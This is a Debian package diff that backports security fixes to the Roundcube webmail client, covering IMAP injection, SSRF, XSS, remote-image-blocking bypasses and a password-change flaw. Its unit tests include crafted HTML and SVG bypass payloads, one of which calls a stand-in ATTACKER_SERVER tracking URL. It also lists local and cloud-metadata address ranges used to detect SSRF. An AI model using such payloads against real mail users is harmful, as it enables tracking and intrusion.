+@@ -877,7 +882,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
<tr><td></td></tr>
</table>';
diff -Nru roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch
roundcube-1.6.14+dfsg/debian/patches/fix-install-path.patch
--- roundcube-1.6.13+dfsg/debian/patches/fix-install-path.patch 2026-02-11
10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/fix-install-path.patch 2026-03-20
18:54:25.000000000 +0100
@@ -218,10 +218,10 @@
require INSTALL_PATH . 'program/include/iniset.php';
diff --git a/program/include/iniset.php b/program/include/iniset.php
-index 6f9946e..c4ab39f 100644
+index 106f6d0..4dc4937 100644
--- a/program/include/iniset.php
+++ b/program/include/iniset.php
-@@ -28,7 +28,7 @@ define('RCMAIL_VERSION', '1.6-git');
+@@ -30,7 +30,7 @@ define('RCMAIL_VERSION', '1.6-git');
define('RCMAIL_START', microtime(true));
if (!defined('INSTALL_PATH')) {
diff -Nru
roundcube-1.6.13+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
roundcube-1.6.14+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
---
roundcube-1.6.13+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
1970-01-01 01:00:00.000000000 +0100
+++
roundcube-1.6.14+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
2026-03-20 18:54:25.000000000 +0100
@@ -0,0 +1,53 @@
+From: Aleksander Machniak <[email protected]>
+Date: Thu, 19 Mar 2026 14:11:06 +0100
+Subject: Fix regression where mail search would fail on non-ascii search
+ criteria
+
+Origin:
https://github.com/roundcube/roundcubemail/commit/6b137adda9b042c3742b0f968692e95ed367d3d1
+Bug: https://github.com/roundcube/roundcubemail/issues/10121
+---
+ CHANGELOG.md | 4 ++++
+ program/actions/mail/search.php | 8 ++++----
+ 2 files changed, 8 insertions(+), 4 deletions(-)
+
+diff --git a/CHANGELOG.md b/CHANGELOG.md
+index 86afc96..f7ac11d 100644
+--- a/CHANGELOG.md
++++ b/CHANGELOG.md
+@@ -2,6 +2,10 @@
+
+ ## Unreleased
+
++- Fix regression where mail search would fail on non-ascii search criteria
(#10121)
++
++## Release 1.6.14
++
+ - Fix Postgres connection using IPv6 address (#10104)
+ - Security: Fix pre-auth arbitrary file write via unsafe deserialization in
redis/memcache session handler
+ - Security: Fix bug where a password could get changed without providing the
old password
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 3dac7a5..2525b0f 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -56,6 +56,10 @@ class rcmail_action_mail_search extends
rcmail_action_mail_index
+ // add list filter string
+ $search_str = $filter && $filter != 'ALL' ? $filter : '';
+
++ // We pass the filter as-is into IMAP SEARCH command. A newline could
be used
++ // to inject extra commands, so we remove these.
++ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+ if ($search_interval = self::search_interval_criteria($interval)) {
+ $search_str .= ' ' . $search_interval;
+ }
+@@ -71,10 +75,6 @@ class rcmail_action_mail_search extends
rcmail_action_mail_index
+ $sort_column = self::sort_column();
+ $sort_order = self::sort_order();
+
+- // We pass the filter as-is into IMAP SEARCH command. A newline could
be used
+- // to inject extra commands, so we remove these.
+- $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+-
+ // set message set for already stored (but incomplete) search request
+ if (!empty($continue) && isset($_SESSION['search']) &&
$_SESSION['search_request'] == $continue) {
+ $rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch
roundcube-1.6.14+dfsg/debian/patches/map-sqlite3-to-sqlite.patch
--- roundcube-1.6.13+dfsg/debian/patches/map-sqlite3-to-sqlite.patch
2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/map-sqlite3-to-sqlite.patch
2026-03-20 18:54:25.000000000 +0100
@@ -9,7 +9,7 @@
1 file changed, 1 insertion(+)
diff --git a/program/lib/Roundcube/rcube_db.php
b/program/lib/Roundcube/rcube_db.php
-index 7384c98..e2fbe1a 100644
+index 3d38577..7955a92 100644
--- a/program/lib/Roundcube/rcube_db.php
+++ b/program/lib/Roundcube/rcube_db.php
@@ -81,6 +81,7 @@ class rcube_db
diff -Nru roundcube-1.6.13+dfsg/debian/patches/series
roundcube-1.6.14+dfsg/debian/patches/series
--- roundcube-1.6.13+dfsg/debian/patches/series 2026-02-11 10:55:46.000000000
+0100
+++ roundcube-1.6.14+dfsg/debian/patches/series 2026-03-20 18:54:25.000000000
+0100
@@ -20,3 +20,5 @@
Free-enchant-dictionary-resources.patch
Fix-FTBFS-with-phpunit-11.patch
Fix-flaky-test.patch
+Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
+Avoid-dependency-on-new-package-mlocati-ip-lib.patch
diff -Nru roundcube-1.6.13+dfsg/debian/patches/update-composer.patch
roundcube-1.6.14+dfsg/debian/patches/update-composer.patch
--- roundcube-1.6.13+dfsg/debian/patches/update-composer.patch 2026-02-11
10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/update-composer.patch 2026-03-20
18:54:25.000000000 +0100
@@ -14,14 +14,14 @@
Last-Update: 2021-07-06
Bug-Debian: https://bugs.debian.org/817792
---
- composer.json-dist | 25 ++++++++++++-------------
- 1 file changed, 12 insertions(+), 13 deletions(-)
+ composer.json-dist | 27 +++++++++++++--------------
+ 1 file changed, 13 insertions(+), 14 deletions(-)
diff --git a/composer.json-dist b/composer.json-dist
-index c8cf3f7..ca3de26 100644
+index b9140e3..1807004 100644
--- a/composer.json-dist
+++ b/composer.json-dist
-@@ -10,24 +10,23 @@
+@@ -10,25 +10,24 @@
],
"require": {
"php": ">=7.3.0",
@@ -35,14 +35,16 @@
- "roundcube/rtf-html-php": "~2.1",
- "masterminds/html5": "~2.7.0",
- "bacon/bacon-qr-code": "^2.0.0",
-- "guzzlehttp/guzzle": "^7.3.0"
+- "guzzlehttp/guzzle": "^7.3.0",
+- "mlocati/ip-lib": "^1.22.0"
+ "pear-pear.php.net/auth_sasl": ">=1.1.0",
+ "pear-pear.php.net/mail_mime": ">=1.10.0",
+ "pear-pear.php.net/net_smtp": ">=1.10.0",
+ "pear-pear.php.net/net_sieve": ">=1.4.5",
+ "roundcube/plugin-installer": ">=0.3.1",
+ "masterminds/html5": ">=2.7.0",
-+ "guzzlehttp/guzzle": ">=7.3.0"
++ "guzzlehttp/guzzle": ">=7.3.0",
++ "mlocati/ip-lib": ">=1.22.0"
},
"require-dev": {
"phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/plugins/password/password.php
roundcube-1.6.14+dfsg/plugins/password/password.php
--- roundcube-1.6.13+dfsg/plugins/password/password.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/plugins/password/password.php 2026-03-18
12:35:19.000000000 +0100
@@ -333,10 +333,10 @@
else {
switch ($type) {
case PASSWORD_COMPARE_CURRENT:
- $result = $curpwd != $newpwd ?
$this->gettext('passwordincorrect') : null;
+ $result = $curpwd !== $newpwd ?
$this->gettext('passwordincorrect') : null;
break;
case PASSWORD_COMPARE_NEW:
- $result = $curpwd == $newpwd ? $this->gettext('samepasswd') :
null;
+ $result = $curpwd === $newpwd ? $this->gettext('samepasswd') :
null;
break;
default:
$result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/index.php
roundcube-1.6.14+dfsg/program/actions/mail/index.php
--- roundcube-1.6.13+dfsg/program/actions/mail/index.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/index.php 2026-03-18
12:35:19.000000000 +0100
@@ -1274,7 +1274,7 @@
if (isset($attrib['href'])) {
$attrib['href'] = preg_replace('/[\x00-\x1F]/', '',
$attrib['href']);
- if ($tag == 'link' && preg_match('/^https?:\/\//i',
$attrib['href'])) {
+ if ($tag == 'link' && preg_match('/^https?:\/\//i',
$attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) {
$tempurl = 'tmp-' . md5($attrib['href']) . '.css';
$_SESSION['modcssurls'][$tempurl] = $attrib['href'];
$attrib['href'] = $rcmail->url([
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/search.php
roundcube-1.6.14+dfsg/program/actions/mail/search.php
--- roundcube-1.6.13+dfsg/program/actions/mail/search.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/search.php 2026-03-18
12:35:19.000000000 +0100
@@ -71,6 +71,10 @@
$sort_column = self::sort_column();
$sort_order = self::sort_order();
+ // We pass the filter as-is into IMAP SEARCH command. A newline could
be used
+ // to inject extra commands, so we remove these.
+ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+
// set message set for already stored (but incomplete) search request
if (!empty($continue) && isset($_SESSION['search']) &&
$_SESSION['search_request'] == $continue) {
$rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru roundcube-1.6.13+dfsg/program/actions/mail/send.php
roundcube-1.6.14+dfsg/program/actions/mail/send.php
--- roundcube-1.6.13+dfsg/program/actions/mail/send.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/mail/send.php 2026-03-18
12:35:19.000000000 +0100
@@ -281,6 +281,9 @@
}
if ($savedraft) {
+ // Sanitize the IMAP SEARCH input
+ $message_id = preg_replace('/[\r\n]+/', '', $message_id);
+
// remember new draft-uid ($saved could be an UID or true/false
here)
if ($saved && is_bool($saved)) {
$index = $rcmail->storage->search_once($drafts_mbox, 'HEADER
Message-ID ' . $message_id);
diff -Nru roundcube-1.6.13+dfsg/program/actions/utils/modcss.php
roundcube-1.6.14+dfsg/program/actions/utils/modcss.php
--- roundcube-1.6.13+dfsg/program/actions/utils/modcss.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/actions/utils/modcss.php 2026-03-18
12:35:19.000000000 +0100
@@ -47,7 +47,7 @@
$ctype = null;
try {
- $client = rcube::get_instance()->get_http_client();
+ $client =
rcube::get_instance()->get_http_client(['allow_redirects' => false]);
$response = $client->get($realurl);
if (!empty($response)) {
diff -Nru roundcube-1.6.13+dfsg/program/include/iniset.php
roundcube-1.6.14+dfsg/program/include/iniset.php
--- roundcube-1.6.13+dfsg/program/include/iniset.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/include/iniset.php 2026-03-18
12:35:19.000000000 +0100
@@ -1,6 +1,8 @@
<?php
-/**
+use GuzzleHttp\Cookie\FileCookieJar;
+
+/*
+-----------------------------------------------------------------------+
| This file is part of the Roundcube Webmail client |
| |
@@ -80,6 +82,13 @@
// register autoloader for rcmail app classes
spl_autoload_register('rcmail_autoload');
+// disable use of dangerous dependencies
+spl_autoload_register(static function ($classname) {
+ if ($classname === FileCookieJar::class) {
+ throw new \Exception("{$classname} is forbidden for security
reasons.");
+ }
+}, true, true);
+
/**
* PHP5 autoloader routine for dynamic class loading
*/
diff -Nru roundcube-1.6.13+dfsg/program/include/rcmail_action.php
roundcube-1.6.14+dfsg/program/include/rcmail_action.php
--- roundcube-1.6.13+dfsg/program/include/rcmail_action.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/include/rcmail_action.php 2026-03-18
12:35:19.000000000 +0100
@@ -691,6 +691,9 @@
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
+ // Use strict security policy to make sure no javascript is
executed
+ header("Content-Security-Policy: script-src 'none'");
+
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
}
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php
roundcube-1.6.14+dfsg/program/lib/Roundcube/db/mysql.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/db/mysql.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/db/mysql.php 2026-03-18
12:35:19.000000000 +0100
@@ -70,6 +70,11 @@
}
if (isset($dsn['hostspec'])) {
+ // Use IPv6 address in brackets
+ if (strpos($dsn['hostspec'], ':') !== false) {
+ $dsn['hostspec'] = '[' . $dsn['hostspec'] . ']';
+ }
+
$params[] = 'host=' . $dsn['hostspec'];
}
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php
roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_db.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_db.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_db.php 2026-03-18
12:35:19.000000000 +0100
@@ -1323,9 +1323,9 @@
}
if ($parsed['protocol'] == 'tcp' && strlen($proto_opts)) {
- $parsed['hostspec'] = $proto_opts;
- }
- else if ($parsed['protocol'] == 'unix') {
+ // Remove IPv6 brakets
+ $parsed['hostspec'] = trim($proto_opts, '[]');
+ } elseif ($parsed['protocol'] == 'unix') {
$parsed['socket'] = $proto_opts;
}
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php
roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_utils.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_utils.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_utils.php 2026-03-18
12:35:19.000000000 +0100
@@ -1,6 +1,8 @@
<?php
-/**
+use IPLib\Factory;
+
+/*
+-----------------------------------------------------------------------+
| This file is part of the Roundcube Webmail client |
| |
@@ -420,6 +422,48 @@
}
/**
+ * Check if an URL point to a local network location.
+ *
+ * @param string $url
+ *
+ * @return bool
+ */
+ public static function is_local_url($url)
+ {
+ $host = parse_url($url, \PHP_URL_HOST);
+
+ if (is_string($host)) {
+ // TODO: This is pretty fast, but a single message can contain
multiple links
+ // to the same target, maybe we should do some in-memory caching.
+ if ($address = Factory::parseAddressString($host = trim($host,
'[]'))) {
+ $nets = [
+ '127.0.0.0/8', // loopback
+ '10.0.0.0/8', // RFC1918
+ '172.16.0.0/12', // RFC1918
+ '192.168.0.0/16', // RFC1918
+ '169.254.0.0/16', // link-local / cloud metadata
+ '::1/128',
+ 'fc00::/7',
+ ];
+
+ foreach ($nets as $net) {
+ $range = Factory::parseRangeString($net);
+ if ($range->contains($address)) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ // FIXME: Should we accept any non-fqdn hostnames?
+ return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host);
+ }
+
+ return false;
+ }
+
+ /**
* Replace all css definitions with #container [def]
* and remove css-inlined scripting, make position style safe
*
@@ -558,7 +602,7 @@
if ($property == 'page') {
// Remove 'page' attributes (#7604)
continue;
- } elseif ($property == 'position' && strcasecmp($value, 'fixed')
=== 0) {
+ } elseif ($property == 'position' && stripos($value, 'fixed') !==
false) {
// Convert position:fixed to position:absolute (#5264)
$value = 'absolute';
} elseif (preg_match('/expression|image-set/i', $value)) {
diff -Nru roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php
roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_washtml.php
--- roundcube-1.6.13+dfsg/program/lib/Roundcube/rcube_washtml.php
2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/program/lib/Roundcube/rcube_washtml.php
2026-03-18 12:35:19.000000000 +0100
@@ -393,7 +393,7 @@
}
if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
- if (!empty($this->config['allow_remote'])) {
+ if (!empty($this->config['allow_remote']) ||
rcube_utils::is_local_url($uri)) {
return $uri;
}
@@ -427,6 +427,11 @@
return 'data:image/' . $type . ',' . base64_encode($svg);
}
+ // At this point we allow only valid base64 images
+ if (stripos($type, 'base64') === false ||
preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
+ return '';
+ }
+
return $uri;
}
}
@@ -504,22 +509,22 @@
* Do it in case-insensitive manner.
*
* @param DOMElement $node The element
- * @param string $attr_name The attribute name
- * @param string $attr_value The attribute value to find
+ * @param string $attr_value The attribute value to find (regexp)
*
* @return bool True if the specified attribute exists and has the
expected value
*/
private static function attribute_value($node, $attr_name, $attr_value)
{
$attr_name = strtolower($attr_name);
- $attr_value = strtolower($attr_value);
foreach ($node->attributes as $name => $attr) {
if (strtolower($name) === $attr_name) {
+ $val = trim($attr->nodeValue);
// Read the attribute name, remove the namespace (e.g.
xlink:href => href)
- $val = strtolower(trim($attr->nodeValue));
- $val = trim(preg_replace('/^.*:/', '', $val));
- if ($attr_value === $val) {
+ if ($attr_name === 'attributename') {
+ $val = trim(preg_replace('/^.*:/', '', $val));
+ }
+ if (preg_match($attr_value, $val)) {
return true;
}
}
@@ -529,6 +534,27 @@
}
/**
+ * Check if the node is an insecure element
+ *
+ * @param \DOMElement $node
+ */
+ private static function is_insecure_tag($node)
+ {
+ $tagName = strtolower($node->nodeName);
+
+ if (!in_array($tagName, ['animate', 'animatecolor', 'set',
'animatetransform'])) {
+ return false;
+ }
+
+ if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
+ return true;
+ }
+
+ return self::attribute_value($node, 'attributeName',
'/^(mask|cursor)$/i')
+ && self::attribute_value($node, 'values', '/url\(/i');
+ }
+
+ /**
* The main loop that recurse on a node tree.
* It output only allowed tags with allowed attributes and allowed inline
styles
*
@@ -579,10 +605,9 @@
$node->setAttribute('href', (string) $uri);
}
- else if (in_array($tagName, ['animate', 'animatecolor', 'set',
'animatetransform'])
- && self::attribute_value($node, 'attributename', 'href')
- ) {
+ else if (self::is_insecure_tag($node)) {
// Insecure svg tags
+ // TODO: We really should use wash_attribs()/wash_uri()
for these cases
if ($this->config['add_comments']) {
$dump .= "<!-- {$tagName} blocked -->";
}
diff -Nru roundcube-1.6.13+dfsg/public_html/plugins/password/password.php
roundcube-1.6.14+dfsg/public_html/plugins/password/password.php
--- roundcube-1.6.13+dfsg/public_html/plugins/password/password.php
2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/public_html/plugins/password/password.php
2026-03-18 12:35:19.000000000 +0100
@@ -333,10 +333,10 @@
else {
switch ($type) {
case PASSWORD_COMPARE_CURRENT:
- $result = $curpwd != $newpwd ?
$this->gettext('passwordincorrect') : null;
+ $result = $curpwd !== $newpwd ?
$this->gettext('passwordincorrect') : null;
break;
case PASSWORD_COMPARE_NEW:
- $result = $curpwd == $newpwd ? $this->gettext('samepasswd') :
null;
+ $result = $curpwd === $newpwd ? $this->gettext('samepasswd') :
null;
break;
default:
$result = $this->gettext('internalerror');
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php
roundcube-1.6.14+dfsg/tests/Framework/DBMysql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBMysql.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DBMysql.php 2026-03-18
12:35:19.000000000 +0100
@@ -9,14 +9,16 @@
*/
class Framework_DBMysql extends PHPUnit\Framework\TestCase
{
-
- /**
- * Class constructor
- */
- function test_class()
+ public function test_dsn_string()
{
- $object = new rcube_db_mysql('test');
+ $db = new \rcube_db_mysql('test');
+
+ $result = $db->parse_dsn('mysql://user:pass@[fd00:3::11]:3306/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+
$this->assertSame('mysql:dbname=test;host=[fd00:3::11];port=3306;charset=utf8mb4',
$dsn);
- $this->assertInstanceOf('rcube_db_mysql', $object, "Class
constructor");
+ $result = $db->parse_dsn('mysql://user:pass@[::1]/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+ $this->assertSame('mysql:dbname=test;host=[::1];charset=utf8mb4',
$dsn);
}
}
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php
roundcube-1.6.14+dfsg/tests/Framework/DBPgsql.php
--- roundcube-1.6.13+dfsg/tests/Framework/DBPgsql.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DBPgsql.php 2026-03-18
12:35:19.000000000 +0100
@@ -90,5 +90,13 @@
$dsn =
$db->parse_dsn("pgsql://user@unix(/var/run/postgresql)/roundcubemail?sslmode=verify-full");
$result = invokeMethod($db, 'dsn_string', [$dsn]);
$this->assertSame("pgsql:host=/var/run/postgresql;dbname=roundcubemail;sslmode=verify-full",
$result);
+
+ $result = $db->parse_dsn('pgsql://user:pass@[fd00:3::11]:5432/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+ $this->assertSame('pgsql:host=fd00:3::11;port=5432;dbname=test', $dsn);
+
+ $result = $db->parse_dsn('pgsql://user:pass@[::1]/test');
+ $dsn = invokeMethod($db, 'dsn_string', [$result]);
+ $this->assertSame('pgsql:host=::1;dbname=test', $dsn);
}
}
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/DB.php
roundcube-1.6.14+dfsg/tests/Framework/DB.php
--- roundcube-1.6.13+dfsg/tests/Framework/DB.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/DB.php 2026-03-18
12:35:19.000000000 +0100
@@ -199,7 +199,7 @@
$this->assertSame('mysql', $result['phptype']);
$this->assertSame('user', $result['username']);
$this->assertSame('pass', $result['password']);
- $this->assertSame('[fd00:3::11]', $result['hostspec']);
+ $this->assertSame('fd00:3::11', $result['hostspec']);
$this->assertSame('3306', $result['port']);
$this->assertSame('roundcubemail', $result['database']);
@@ -208,7 +208,7 @@
$this->assertSame('mysql', $result['phptype']);
$this->assertSame('user', $result['username']);
$this->assertSame('pass', $result['password']);
- $this->assertSame('[::1]', $result['hostspec']);
+ $this->assertSame('::1', $result['hostspec']);
$this->assertTrue(!array_key_exists('port', $result));
$this->assertSame('roundcubemail', $result['database']);
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Utils.php
roundcube-1.6.14+dfsg/tests/Framework/Utils.php
--- roundcube-1.6.13+dfsg/tests/Framework/Utils.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/Utils.php 2026-03-18
12:35:19.000000000 +0100
@@ -280,6 +280,9 @@
$mod = \rcube_utils::mod_css_styles('.test { position: fixed; top:
0;', 'rcmbody');
$this->assertSame('#rcmbody .test { position: absolute; top: 0; }',
$mod, 'Replace position:fixed with position:absolute (6)');
+ $mod = \rcube_utils::mod_css_styles('.test { position: fixed
!important; }', 'rcmbody');
+ $this->assertSame('#rcmbody .test { position: absolute; }', $mod,
'Replace position:fixed with position:absolute (7)');
+
// allow data URIs with images (#5580)
$mod = rcube_utils::mod_css_styles("body { background-image:
url(data:image/png;base64,123); }", 'rcmbody');
$this->assertStringContainsString("#rcmbody { background-image:
url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]");
@@ -554,6 +557,40 @@
}
/**
+ * Test is_local_url()
+ *
+ * @dataProvider provide_is_local_url_cases
+ */
+ #[DataProvider('provide_is_local_url_cases')]
+ public function test_is_local_url($input, $output)
+ {
+ $this->assertSame($output, \rcube_utils::is_local_url($input));
+ }
+
+ /**
+ * Test-Cases for is_local_url() test
+ */
+ public static function provide_is_local_url_cases(): iterable
+ {
+ return [
+ // Local hosts
+ ['https://127.0.0.1', true],
+ ['https://10.1.1.1', true],
+ ['https://172.16.0.1', true],
+ ['https://192.168.0.100', true],
+ ['https://169.254.0.200', true],
+ ['http://[fc00::1]', true],
+ ['ftp://[::1]:8080', true],
+ ['//127.0.0.1', true],
+ ['http://localhost', true],
+ ['http://localhost.localdomain', true],
+ // Non-local hosts
+ ['http://[2001:470::76:0:0:0:2]', false],
+ ['http://domain.tld', false],
+ ];
+ }
+
+ /**
* rcube:utils::strtotime()
*/
function test_strtotime()
diff -Nru roundcube-1.6.13+dfsg/tests/Framework/Washtml.php
roundcube-1.6.14+dfsg/tests/Framework/Washtml.php
--- roundcube-1.6.13+dfsg/tests/Framework/Washtml.php 2026-02-08
10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/tests/Framework/Washtml.php 2026-03-18
12:35:19.000000000 +0100
@@ -262,12 +262,19 @@
$washer = new rcube_washtml(['html_elements' => ['body']]);
$washed = $washer->wash($html);
- $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed,
"Body bgcolor attribute");
- $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body
text attribute");
- $this->assertMatchesRegularExpression('|background="#test"|', $washed,
"Body background attribute");
- $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body
link attribute");
- $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body
alink attribute");
- $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body
vlink attribute");
+ $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed,
'Body bgcolor attribute');
+ $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body
text attribute');
+ $this->assertMatchesRegularExpression('|background="#test"|', $washed,
'Body background attribute');
+ $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body
link attribute');
+ $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body
alink attribute');
+ $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body
vlink attribute');
+
+ $html = '<html><body
background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
+
+ $washer = new \rcube_washtml(['html_elements' => ['body']]);
+ $washed = $washer->wash($html);
+
+ $this->assertMatchesRegularExpression('|x-washed="background"|',
$washed, 'Body evil background');
}
/**
@@ -500,6 +507,20 @@
'<html><svg><defs><filter><feImage
xlink:href="http://external.site"/></filter></defs></html>',
'<svg><defs><filter><feImage
x-washed="xlink:href"></feImage></filter></defs></svg>',
],
+ [
+ '<svg><animate attributeName="mask"
values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>',
+ '<svg><!-- animate blocked --></svg>',
+ ],
+ [
+ '<svg><animate attributeName="mask"
values="none;url(https://external.site);url(https://external.site)"'
+ . ' repeatCount="indefinite" dur="1s" /></svg>',
+ '<svg><!-- animate blocked --></svg>',
+ ],
+ [
+ '<svg><animate attributeName="cursor" attributeType="CSS"
values="url(https://external.site),auto"'
+ . ' feel="freeze" dur="1s" /></svg>',
+ '<svg><!-- animate blocked --></svg>',
+ ],
];
}
diffstat for roundcube-1.6.5+dfsg roundcube-1.6.5+dfsg changelog | 22 + patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch | 61 +++ patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch | 42 ++ patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch | 164 ++++++++++ patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch | 26 + patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch | 33 ++ patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch | 40 ++ patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch | 43 ++ patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch | 38 ++ patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch | 60 +++ patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch | 112 ++++++ patches/series | 10 12 files changed, 651 insertions(+) diff -Nru roundcube-1.6.5+dfsg/debian/changelog roundcube-1.6.5+dfsg/debian/changelog --- roundcube-1.6.5+dfsg/debian/changelog 2026-02-11 12:05:21.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/changelog 2026-03-20 19:15:19.000000000 +0100 @@ -1,3 +1,25 @@ +roundcube (1.6.5+dfsg-1+deb12u8) bookworm-security; urgency=high + + * Cherry pick upstream security fixes from v1.6.14 (closes: #1131182): + + Fix pre-auth arbitrary file write via unsafe deserialization in + redis/memcache session handler. + + Fix bug where a password could get changed without providing the old + password. + + Fix IMAP Injection + CSRF bypass in mail search. + + Fix remote image blocking bypass via various SVG animate attributes. + + Fix remote image blocking bypass via a crafted <body> background + attribute. + + Fix fixed position mitigation bypass via use of `!important`. + + Fix XSS vulnerability in HTML attachment preview. + + Fix SSRF and information disclosure vulnerability via stylesheet links + pointing to a local network hosts. + * Cherry pick upstream regression fix where mail search would fail on + non-ascii search criteria. + * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is + not present in bookworm. + + -- Guilhem Moulin <[email protected]> Fri, 20 Mar 2026 19:15:19 +0100 + roundcube (1.6.5+dfsg-1+deb12u7) bookworm-security; urgency=high * Cherry pick upstream security fixes from v1.6.13 (closes: #1127447): diff -Nru roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch --- roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,61 @@ +From: Guilhem Moulin <[email protected]> +Date: Fri, 20 Mar 2026 17:34:30 +0100 +Subject: Avoid dependency on new package mlocati/ip-lib + +Which as of today is not present in Debian. The dependency was +introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a +security issue. While it can be uploaded to sid, we need another +solution to fix the vulnerability for older suites. + +Bug-Debian: https://bugs.debian.org/1131182 +Forwarded: not-needed +--- + program/lib/Roundcube/rcube_utils.php | 26 +++++++++++++------------- + 1 file changed, 13 insertions(+), 13 deletions(-) + +diff --git a/program/lib/Roundcube/rcube_utils.php 